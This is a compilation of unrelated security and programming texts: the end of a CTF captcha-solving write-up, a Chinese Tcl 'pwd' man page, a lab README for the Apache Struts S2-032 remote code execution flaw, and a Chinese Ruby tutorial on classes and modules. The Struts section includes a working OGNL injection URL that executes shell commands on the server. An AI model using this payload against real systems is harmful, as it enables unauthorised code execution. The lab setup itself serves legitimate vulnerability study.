are black also in symbol and we add or subtract 1 from the matched pixels counter. If on the picture we have white color but black in symbol we subtract 1 from counter. The second part os really important, because otherwise the large letters that "cover other letters entirely" could be selected as best match. def is_to_remove(symbol_pixels, x, y): black = (0, 0, 0) result = False for i in range(-1, 1): for j in range(-1, 1): result = result or symbol_pixels[x + i, y + j] == black return result def remove_used(picture_pixels, symbol, offset_x, offset_y, symbol_len, symbol_h): white = (255, 255, 255) symbol_x_min, _, symbol_y_min, _ = get_coords(symbol) symbol_pixels = symbol.load() for i in range(offset_x, offset_x + symbol_len + 1): for j in range(offset_y, offset_y + symbol_h + 1): if is_to_remove(symbol_pixels, symbol_x_min + i - offset_x, symbol_y_min + j - offset_y): picture_pixels[i, j] = white In order to remove the symbol from picture we iterate over it starting from appropriate offset and color pixels white if they are black in the symbol. We don't color the whole box white! It is important because some captchas were like this: ![](./captcha4.png) As can be seen the character `5` is inside the box surrounding letter `T` and paiting it white would "destroy" the character `5`. Code of the solver is available [here](./captcha.py). This solver + pypy + fast internet connection resulted in: `DCTF{6b91e112ee0332616a5fe6cc321e48f1}`
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: pwd.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: pwd.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH pwd 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME pwd \- 返回当前的工作目录 .SH "总览 SYNOPSIS" \fBpwd\fR .BE .SH "描述 DESCRIPTION" .PP 返回当前的工作目录的路径名。 .SH "参见 SEE ALSO" file(n), cd(n), glob(n), filename(n) .SH "关键字 KEYWORDS" working directory .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# S2-032 Remote Code Execution Vulnerablity(CVE-2016-3081) [中文版本(Chinese version)](README.zh-cn.md) Affected Version: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3) References: - https://cwiki.apache.org/confluence/display/WW/S2-032 - https://www.cnblogs.com/mrchang/p/6501428.html ## Setup Execute the following command to start the Struts2 2.3.28: ``` docker compose up -d ``` After the container is running, visit `http://your-ip:8080` that you can see an example page. ## Exploitation There’s a feature embedded in Struts 2 that lets the "!" (bang) character invoke a method other than execute. It is called “Dynamic Method Invocation” aka DMI. A simple way to use DMI is to provide HTTP parameters prefixed with `method:`. For example in the URL it could be `/category.action?method:create=foo`, the parameter value is ignored. The method name of DMI will be evaluated by OGNL expression engine, which would cause the RCE vulnerability. Visit following URL to trigger the `id` command: ``` http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id ``` ![](1.png)
sec-knowleage
# 类和模块 --- - https://www.kancloud.cn/imxieke/ruby-base/107295 --- # 类是什么 类(class)是面向对象中一个重要的术语。 **类和实例** 类表示对象的种类。Ruby 中的对象都一定属于某个类。例如,我们常说的“数组对象”“数组”,实际上都是 `Array` 类的对象(实例)。还有字符串对象,实际上是 `String` 类的对象(实例)。 相同类的对象所使用的方法也相同。类就像是对象的雏形或设计图,决定了对象的行为。 我们在生成新的对象时,一般会用到各个类的 `new` 方法。例如,使用 `Array.new` 方法可以生成新的数组对象。 ```ruby ary = Array.new p ary #=> [] ``` > 像数组、字符串这样的类,也可以使用字面量(像 `[1, 2, 3]`、`"abc"` 这样的写法)来生成对象。 当想知道某个对象属于哪个类时,我们可以使用 `class` 方法。 ```ruby ary = [] str = "Hello world." p ary.class #=> Array p str.class #=> String ``` 当判断某个对象是否属于某个类时,我们可以使用 `instance_of?` 方法。 ```ruby ary = [] str = "Hello world." p ary.instance_of?(Array) #=> true p str.instance_of?(String) #=> true p ary.instance_of?(String) #=> false p str.instance_of?(Array) #=> false ``` **继承** 我们把通过扩展已定义的类来创建新类称为继承。 假设我们需要编写一个在屏幕中显示时间的小程序。根据用户的喜好,这个小程序能以模拟时钟或者电子时钟的方式显示。 模拟时钟与电子时钟,两者只是在时间的表现形式上不一样,获取当前时间的方法以及闹钟等基本功能都是相同的。因此,我们可以首先定义一个拥有基本功能的时钟类,然后再通过继承来分别创建模拟时钟类和电子时钟类。 继承后创建的新类称为子类(subclass),被继承的类被称为父类(superclass)。 通过继承我们可以实现以下事情: - 在不影响原有功能的前提下追加新功能。 - 重定义原有功能,使名称相同的方法产生不同的效果。 - 在已有功能的基础上追加处理,扩展已有功能。 此外,我们还可以利用继承来轻松地创建多个具有相似功能的类。 `BasicObject` 类是 Ruby 中所有类的父类,它定义了作为 Ruby 对象的最基本功能。 > `BasicObject` 类是最最基础的类,甚至连一般对象需要的功能都没有定义。因此普通对象所需要的类一般都被定义为 `Object` 类。字符串、数组等都是 Object 类的子类。 子类与父类的关系称为“is-a 关系”。例如,`String` 类与它的父类 `Object` 就是 is-a 关系。 之前我们提到过查找对象所属的类时使用 `instance_of?` 方法,而根据类的继承关系反向追查对象是否属于某个类时,则可以使用 `is_a?` 方法。 ``` str = "This is a String." p str.is_a?(String) #=> true p str.is_a?(Object) #=> true ``` 顺便提一下,由于 `instance_of?` 方法与 `is_a?` 方法都已经在 `Object` 类中定义过了,因此普通的对象都可以使用这两个方法。 # 类的创建 ```ruby class HelloWorld # class 关键字 def initialize(myname = "Ruby") # initialize 方法 @name = myname # 初始化实例变量 end def hello # 实例方法 puts "Hello, world. I am #{@name}." end end bob = HelloWorld.new("Bob") alice = HelloWorld.new("Alice") ruby = HelloWorld.new bob.hello ``` **class 关键字** `class` 关键字在定义类时使用。以下是 `class` 关键字的一般用法: ```ruby class 类名  类的定义 end ``` 类名的首字母必须大写。 **initialize 方法** 在 `class` 关键字中定义的方法为该类的实例方法。 其中,名为 `initialize` 的方法比较特别。使用 `new` 方法生成新的对象时,`initialize` 方法会被调用,同时 `new` 方法的参数也会被原封不动地传给 `initialize` 方法。因此初始化对象时需要的处理一般都写在这个方法中。 ```ruby def initialize(myname = "Ruby") # initialize 方法 @name = myname # 初始化实例变量 end ``` 在这个例子中,`initialize` 方法接受了参数 `myname`。因此, ```ruby bob = HelloWorld.new("Bob") ``` 像这样,就可以把 `"Bob"` 传给 `initialize` 方法生成对象。由于 `initialize` 方法的参数指定了默认值 `"Ruby"`,因此,像下面这样没有指定参数时, ```ruby ruby = HelloWorld.new ``` 会自动把 `"Ruby"` 传给 `initialize` 方法。 **实例变量与实例方法** ```ruby def initialize(myname = "Ruby") # initialize 方法 @name = myname # 初始化实例变量 end ``` 通过 `@name = myname` 这行程序,作为参数传进来的对象会被赋值给变量 `@name`。我们把以 `@` 开头的变量称为实例变量。在不同的方法中,程序会把局部变量看作是不同的变量来对待。而只要在同一个实例中,程序就可以超越方法定义,任意引用、修改实例变量的值。另外,引用未初始化的实例变量时的返回值为 `nil`。 不同实例的实例变量值可以不同。只要实例存在,实例变量的值就不会消失,并且可以被任意使用。而局部变量则是在调用方法时被创建,而且只能在该方法内使用。 我们来看看下面的例子: ```ruby alice = HelloWorld.new("Alice") bob = HelloWorld.new("Bob") ruby = helloWorld.new ``` `alice`、`bob`、`ruby` 各自拥有不同的 `@name` 可以在实例方法中引用实例变量,下面是 `HelloWorld` 类定义的 `hello` 方法引用 `@name` 的例子: ```ruby class HelloWorld ┊ def hello # 实例方法 puts "Hello, world. I am #{@name}." end end ``` 通过以下方式调用 `HelloWolrd` 类定义的 `hello` 方法: ``` bob.hello ``` 输出结果如下所示: ``` Hello, world. I am Bob. ``` **存取器** 在 Ruby 中,从对象外部不能直接访问实例变量或对实例变量赋值,需要通过方法来访问对象的内部。 为了访问 `HelloWorld` 类的 `@name` 实例变量,我们需要定义以下方法: ```ruby class HelloWorld ┊ def name # 获取@name @name end def name=(value) # 修改@name @name = value end ┊ end ``` 第一个方法 `name` 只是简单地返回 `@name` 的值,我们可以像访问属性一样使用该方法。 ```ruby p bob.name #=> "Bob" ``` 第二个方法的方法名为 `name=`,使用方法如下: ```ruby bob.name = "Robert" ``` 乍一看,该语法很像是在给对象的属性赋值,但实际上却是在调用 `name=("Robert")` 这个方法。利用这样的方法,我们就可以突破 Ruby 原有的限制,从外部来自由地访问对象内部的实例变量了。 当对象的实例变量有多个时,如果逐个定义存取器,就会使程序变得难懂,而且也容易写错。为此,Ruby 为了我们提供了更简便的定义方法 `attr_reader`、`attr_writer`、`attr_accessor`。只要指定实例变量名的符号(symbol),Ruby 就会自动帮我们定义相应的存取器。 定义 | 意义 - | - attr_reader :name | 只读(定义 name 方法) attr_writer :name | 只写(定义 name= 方法) attr_accessor :name | 读写(定义以上两个方法) 也可以像下面这样只写一行代码,其效果与刚才的 `name` 方法以及 `name=` 方法的效果是一样的。 ```ruby class HelloWorld attr_accessor :name end ``` > Ruby 中一般把设定实例变量的方法称为 writer,读取实例变量的方法称为 reader,这两个方法合称为 accessor。另外,有时也把 reader 称为 getter,writer 称为 setter,合称为 accessor method4。 **特殊变量 self** 在实例方法中,可以用 `self` 这个特殊的变量来引用方法的接收者。接下来就让我们来看看其他的实例方法如何调用 `name` 方法。 ```ruby class HelloWorld attr_accessor :name ┊ def greet puts "Hi, I am #{self.name}." end end ┊ ``` `greet` 方法里的 `self.name` 引用了调用 `greet` 方法时的接收者。 调用方法时,如果省略了接收者,Ruby 就会默认把 `self` 作为该方法的接收者。因此,即使省略了 `self`,也还是可以调用 `name` 方法,如下所示: ```ruby def greet print "Hi, I am #{name}" end ``` 另外,在调用像 `name=` 方法这样的以 `=` 结束的方法时,有一点需要特别注意。即使实例方法中已经有了 `name = "Ruby"` 这样的定义,但如果仅在方法内部定义名为 `name` 的局部变量,也不能以缺省接收者的方式调用 `name=` 方法。这种情况下,我们需要用 `self.name = "Ruby"` 的形式来显式调用 `name` 方法。 ```ruby def test_name name = "Ruby" # 为局部变量赋值 self.name = "Ruby" # 调用name= 方法 end ``` > 虽然 `self` 本身与局部变量形式相同,但由于它是引用对象本身时的保留字,因此我们即使对它进行赋值,也不会对其本身的值有任何影响。像这样,已经被系统使用且不能被我们自定义的变量名还有 `nil`、`true`、`false`、`__FILE__`、`__LINE__`、`__ENCODING__` 等。 **类方法** 方法的接收者就是类本身(类对象)的方法称为类方法。类方法的操作对象不是实例,而是类本身。 下面,让我们在 `class << 类名 ~ end` 这个特殊的类定义中,以定义实例方法的形式来定义类方法。 ```ruby class << HelloWorld def hello(name) puts "#{name} said hello." end end HelloWorld.hello("John") #=> John said hello. ``` 在 `class` 上下文中使用 `self` 时,引用的对象是该类本身,因此,我们可以使用 `class << self ~ end` 这样的形式,在 `class` 上下文中定义类方法。 ```ruby class HelloWorld class << self def hello(name) puts "#{name} said hello." end end end ``` 除此以外,我们还可以使用 `def 类名 . 方法名 ~ end` 这样的形式来定义类方法。 ```ruby def HelloWorld.hello(name) puts "#{name} said hello." end HelloWorld.hello("John") #=> John said hello. ``` 同样,只要是在 `class` 上下文中,这种形式下也可以像下面的例子那样使用 `self`。 ```ruby class HelloWorld def self.hello(name) puts "#{name} said hello." end end ``` > `class << 类名 ~ end` 这种写法的类定义称为单例类定义,单例类定义中定义的方法称为单例方法。 **常量** 在 `class` 上下文中可以定义常量。 ```ruby class HelloWorld Version = "1.0" ┊ end ``` 对于在类中定义的常量,我们可以像下面那样使用 `::`,通过类名来实现外部访问。 ```ruby p HelloWorld::Version #=> "1.0" ``` **类变量** 以 `@@` 开头的变量称为类变量。类变量是该类所有实例的共享变量,这一点与常量类似,不同的是我们可以多次修改类变量的值。另外,与实例变量一样,从类的外部访问类变量时也需要存取器。不过,由于 `attr_accessor` 等存取器都不能使用,因此需要直接定义。 ```ruby class HelloCount @@count = 0 # 调用hello 方法的次数 def HelloCount.count # 读取调用次数的类方法 @@count end def initialize(myname="Ruby") @name = myname end def hello @@count += 1 # 累加调用次数 puts "Hello, world. I am #{@name}.\n" end end bob = HelloCount.new("Bob") alice = HelloCount.new("Alice") ruby = HelloCount.new p HelloCount.count #=> 0 bob.hello alice.hello ruby.hello p HelloCount.count #=> 3 ``` **限制方法的调用** 到目前为止,我们定义的方法,都能作为实例方法被任意调用,但是有时候我们可能并不希望这样。例如,只是为了汇总多个方法的共同处理而定义的方法,一般不会公开给外部使用。 Ruby 提供了 3 种方法的访问级别,我们可以按照需要来灵活调整。 - `public` ……以实例方法的形式向外部公开该方法 - `private` ……在指定接收者的情况下不能调用该方法(只能使用缺省接收者的方式调用该方法,因此无法从实例的外部访问) - `protected` ……在同一个类中时可将该方法作为实例方法调用 在修改方法的访问级别时,我们会为这 3 个关键字指定表示方法名的符号。 首先来看看使用 `public` 和 `private` 的例子 ```ruby class AccTest def pub puts "pub is a public method." end public :pub # 把pub 方法设定为public(可省略) def priv puts "priv is a private method." end private :priv # 把priv 方法设定为private end acc = AccTest.new acc.pub acc.priv ``` `AccTest` 类的两个方法中,`pub` 方法可以正常调用,但是在调用 `priv` 方法时程序会发生异常,并出现以下错误信息 : ``` > ruby acc_test.rb pub is a public method. acc_test.rb:17:in `<main>': private method `priv' called for #<AccTest:0x007fb4089293e8> (NoMethodError) ``` 希望统一定义多个方法的访问级别时,可以使用下面的语法 : ```ruby class AccTest public # 不指定参数时, # 以下的方法都被定义为public def pub puts "pub is a public method." end private # 以下的方法都被定义为private def priv puts "priv is a private method." end end ``` > 没有指定访问级别的方法默认为 `public`,但 `initialize` 方法是个例外,它通常会被定义为 `private`。 定义为 `protected` 的方法,在同一个类(及其子类)中可作为实例方法使用,而在除此以外的地方则无法使用。 ```ruby class Point attr_accessor :x, :y # 定义存取器 protected :x=, :y= # 把x= 与y= 设定为protected def initialize(x=0.0, y=0.0) @x, @y = x, y end def swap(other) # 交换x、y 值的方法 tmp_x, tmp_y = @x, @y @x, @y = other.x, other.y other.x, other.y = tmp_x, tmp_y # 在同一个类中 # 可以被调用 return self end end p0 = Point.new p1 = Point.new(1.0, 2.0) p [ p0.x, p0.y ] #=> [0.0, 0.0] p [ p1.x, p1.y ] #=> [1.0, 2.0] p0.swap(p1) p [ p0.x, p0.y ] #=> [1.0, 2.0] p [ p1.x, p1.y ] #=> [0.0, 0.0] p0.x = 10.0 #=> 错误(NoMethodError) ``` 定义了拥有 X、Y 坐标的 `Point` 类。在这个类中,实例中的坐标可以被外部读取,但不能被修改。为此,我们可以利用 `protected` 来实现交换两个坐标值的方法 `swap`。 # 扩展类 **在原有类的基础上添加方法** Ruby 允许我们在已经定义好的类中添加方法。下面,我们来试试给 `String` 类添加一个计算字符串单词数的实例方法 `count_word` ```ruby class String def count_word ary = self.split(/\s+/) # 用空格分割接收者 return ary.size # 返回分割后的数组的元素总数 end end str = "Just Another Ruby Newbie" p str.count_word #=> 4 ``` **继承** 利用继承,我们可以在不对已有的类进行修改的前提下,通过增加新功能或重定义已有功能等手段来创建新的类。 定义继承时,在使用 `class` 关键字指定类名的同时指定父类名。 ```ruby class 类名< 父类名  类定义 end ``` ```ruby class RingArray < Array # 指定父类 def [](i) # 重定义运算符[] idx = i % size # 计算新索引值 super(idx) # 调用父类中同名的方法 end end wday = RingArray["日", "月", "火", "水", "木", "金", "土"] p wday[6] #=> "土" p wday[11] #=> "木" p wday[15] #=> "月" p wday[-1] #=> "土" ``` 创建一个继承了 `Array` 类的 `RingArray` 类。`RingArray` 类只是重定义了读取数组内容时使用的 `[]` 运算符。该程序通过 `super` 关键字调用父类中同名的方法(在本例中也就是 `Array#[]`)。 对 `RingArray` 类指定了超过数组长度的索引时,结果就会从溢出部分的开头开始重新计算索引 利用继承,我们可以把共同的功能定义在父类,把各自独有的功能定义在子类。 定义类时没有指定父类的情况下,Ruby 会默认该类为 `Object` 类的子类。 `Object` 类提供了许多便于实际编程的方法。但在某些情况下,我们也有可能会希望使用更轻量级的类,而这时就可以使用 `BasicObject` 类。 `BasicObject` 类只提供了组成 Ruby 对象所需的最低限度的方法。类对象调用 `instance_methods` 方法后,就会以符号的形式返回该类的实例方法列表。下面我们就用这个方法来对比一下 `Object` 类和 `BasicObject` 类的实例方法。 ```ruby > irb --simple-prompt >> Object.instance_methods => [:nil?, :===, :=~, :!~, :eql?, :hash, :<=>, :class, :singleton_class, :clone, :dup, :taint, :tainted?, :untaint, :untrust, :untrusted?, :trust, :freeze, :frozen?, :to_s, ...... 等众多方法名......] >> BasicObject.instance_methods => [:==, :equal?, :!, :!=, :instance_eval, :instance_exec, :__send__, :__id__] ``` 虽然大部分方法我们都还没有接触到,但据此也可以看出,相对于 `Object` 类持有多种方法,`BacsicObject` 类所拥有的功能都是最基本的。 定义 `BasicObject` 的子类时,与 `Object` 类不同,需要明确指定 `BasicObject` 类为父类,如下所示 : ```ruby class MySimpleClass < BasicObject ┊ end ``` # alias 与 undef **alias** 有时我们会希望给已经存在的方法设置别名。这种情况下就需要使用 `alias` 方法。`alias` 方法的参数为方法名或者符号名。 ```ruby alias 别名 原名   # 直接使用方法名 alias``: 别名 : 原名  # 使用符号名 ``` 像 `Array#size` 与 `Array#length` 这样,为同一种功能设置多个名称时,我们会使用到 `alias`。 另外,除了为方法设置别名外,在重定义已经存在的方法时,为了能用别名调用原来的方法,我们也需要用到 `alias`。 下面的例子中定义了类 `C1` 及其子类 `C2`。在类 `C2` 中,对 `hello` 方法设置别名 `old_hello` 后,重定义了 `hello` 方法。 ```ruby class C1 # 定义C1 def hello # 定义hello "Hello" end end class C2 < C1 # 定义继承了C1 的子类C2 alias old_hello hello # 设定别名old_hello def hello # 重定义hello "#{old_hello}, again" end end obj = C2.new p obj.old_hello #=> "Hello" p obj.hello #=> "Hello, again ``` **undef** `undef` 用于删除已有方法的定义。与 `alias` 一样,参数可以指定方法名或者符号名。 ```ruby undef 方法名    # 直接使用方法名 undef : 方法名   # 使用符号名 ``` 例如,在子类中希望删除父类定义的方法时可以使用 `undef`。 **单例类** 通过利用单例类定义,就可以给对象添加方法(单例方法)。单例类定义被用于定义对象的专属实例方法。在下面的例子中,我们分别将 `"Ruby"` 赋值给 `str1` 对象和 `str2` 对象,然后只对 `str1` 对象添加 `hello` 方法。这样一来,两个对象分别调用 `hello` 方法时,`str1` 对象可以正常调用,但 `str2` 对象调用时程序就会发生错误。 ```ruby str1 = "Ruby" str2 = "Ruby" class << str1 def hello "Hello, #{self}!" end end p str1.hello #=> "Hello, Ruby!" p str2.hello #=> 错误(NoMethodError) ``` Ruby 中所有的类都是 `Class` 类的实例,对 `Class` 类添加实例方法,就等于给所有的类都添加了该类方法。因此,只希望对某个实例添加方法时,就需要利用单例方法。 # 模块 模块是 Ruby 的特色功能之一。如果说类表现的是事物的实体(数据)及其行为(处理),那么模块表现的就只是事物的行为部分。模块与类有以下两点不同: - 模块不能拥有实例 - 模块不能被继承 **提供命名空间** 所谓命名空间(namespace),就是对方法、常量、类等名称进行区分及管理的单位。由于模块提供各自独立的命名空间,因此 `A` 模块中的 `foo` 方法与 `B` 模块中的 `foo` 方法,就会被程序认为是两个不同的方法。同样,`A` 模块中的 `FOO` 常量与 `B` 模块的 `FOO` 常量,也是两个不同的常量。 无论是方法名还是类名,当然都是越简洁越好,但是像 `size`、`start` 等这种普通的名称,可能在很多地方都会使用到。因此,通过在模块内定义名称,就可以解决命名冲突的问题。 例如,在 `FileTest` 模块中存在与获取文件信息相关的方法。我们使用 `“模块名 . 方法名”` 的形式来调用在模块中定义的方法,这样的方法称为模块函数。 ```ruby # 检查文件是否存在 p FileTest.exist?("/usr/bin/ruby") #=> true # 文件大小 p FileTest.size("/usr/bin/ruby") #=> 1374684 ``` 如果没有定义与模块内的方法、常量等同名的名称,那么引用时就可以省略模块名。通过 `include` 可以把模块内的方法名、常量名合并到当前的命名空间。下面是与数学运算有关的 `Math` 模块的例子。 ```ruby # 圆周率(常量) p Math::PI #=> 3.141592653589793 # 2 的平方根 p Math.sqrt(2) #=> 1.4142135623730951 include Math # 包含Math 模块 p PI #=> 3.141592653589793 p sqrt(2) #=> 1.4142135623730951 ``` 像这样,通过把一系列相关的功能汇总在一个模块中,就可以集中管理相关的命名。 **利用 Mix-in 扩展功能** `Mix-in` 就是将模块混合到类中。在定义类时使用 `include`,模块里的方法、常量就都能被类使用。 我们可以把 `MyClass1` 和 `MyClass2` 中两者共通的功能定义在 `MyModule` 中。虽然有点类似于类的继承,但 `Mix-in` 可以更加灵活地解决下面的问题。 - 虽然两个类拥有相似的功能,但是不希望把它们作为相同的种类(Class)来考虑的时候 - Ruby 不支持父类的多重继承,因此无法对已经继承的类添加共通的功能的时候 ```ruby module MyModule # 共通的方法等 end class MyClass1 include MyModule # MyClass1 中独有的方法 end class MyClass2 include MyModule # MyClass2 中独有的方法 end ``` # 创建模块 我们使用 `module` 关键字来创建模块。 语法与创建类时几乎相同。模块名的首字母必须大写。 ```ruby module 模块名  模块定义 end ``` ```ruby module HelloModule # module 关键字 Version = "1.0" # 定义常量 def hello(name) # 定义方法 puts "Hello, #{name}." end module_function :hello # 指定hello 方法为模块函数 end p HelloModule::Version #=> "1.0" HelloModule.hello("Alice") #=> Hello, Alice. include HelloModule # 包含模块 p Version #=> "1.0" hello("Alice") #=> Hello, Alice. ``` **常量** 和类一样,在模块中定义的常量可以通过模块名访问。 ```ruby p HelloModule::Version #=> "1.0" ``` **方法的定义** 和类一样,我们也可以在 `module` 上下文中定义方法。 然而,如果仅仅定义了方法,虽然在模块内部与包含此模块的上文中都可以直接调用,但却不能以“模块名 . 方法名”的形式调用。如果希望把方法作为模块函数公开给外部使用,就需要用到 `module_function` 方法。`module_function` 的参数是表示方法名的符号。 ```ruby def hello(name) puts "Hello, #{name}." end module_function :hello ``` 以 `“模块名 . 方法名”` 的形式调用时,如果在方法中调用 `self`(接收者),就会获得该模块的对象。 ```ruby module FooMoudle def foo p self end module_function :foo end FooMoudle.foo #=> FooMoudle ``` 此外,如果类 `Mix-in` 了模块,就相当于为该类添加了实例方法。在这种情况下,`self` 代表的就是被 `Mix-in` 的类的对象。 即使是相同的方法,在不同的上下文调用时,其含义也会不一样,因此对于 `Mix-in` 的模块,我们要注意根据实际情况判断是否使用模块函数功能。一般不建议在定义为模块函数的方法中使用 `self`。 # Mix-in ```ruby module M def meth "meth" end end class C include M # 包含M 模块 end c = C.new p c.meth #=> meth ``` 类 `C` 包含模块 `M` 后,模块 `M` 中定义的方法就可以作为类 `C` 的实例方法供程序调用。 另外,如果想知道类是否包含某个模块,可以使用 `include?` 方法。 ```ruby C.include?(M) #=> true ``` 类 `C` 的实例在调用方法时,Ruby 会按类 `C`、模块 `M`、类 `C` 的父类 `Object` 这个顺序查找该方法,并执行第一个找到的方法。被包含的模块的作用就类似于虚拟的父类。 我们用 `ancestors` 方法和 `superclass` 方法调查类的继承关系 追加以下代码并执行,我们就可以通过 `ancestors` 取得继承关系的列表。进而也就可以看出,被包含的模块 `M` 也被认为是类 `C` 的一个“祖先”。而 `superclass` 方法则直接返回类 `C` 的父类。 ```ruby p C.ancestors #=> [C, M, Object, Kernel, BasicObject] p C.superclass #=> Object ``` > `ancestors` 方法的返回值中的 `Kernel` 是 Ruby 内部的一个核心模块,Ruby 程序运行时所需的共通函数都封装在此模块中。例如 `p` 方法、`raise` 方法等都是由 `Kernel` 模块提供的模块函数。 虽然 Ruby 采用的是不允许多个父类的单一继承模型,但是通过利用 Mix-in,我们就既可以保持单一继承的关系,又可以同时让多个类共享其他功能。 在 Ruby 标准类库中,`Enumerable` 模块就是利用 `Mix-in` 扩展功能的一个典型例子。使用 `each` 方法的类中包含 `Enumerable` 模块后,就可以使用 `each_with_index` 方法、`collect` 方法等对元素进行排序处理的方法。`Array`、`Hash`、`IO` 类等都包含了 `Enumerable` 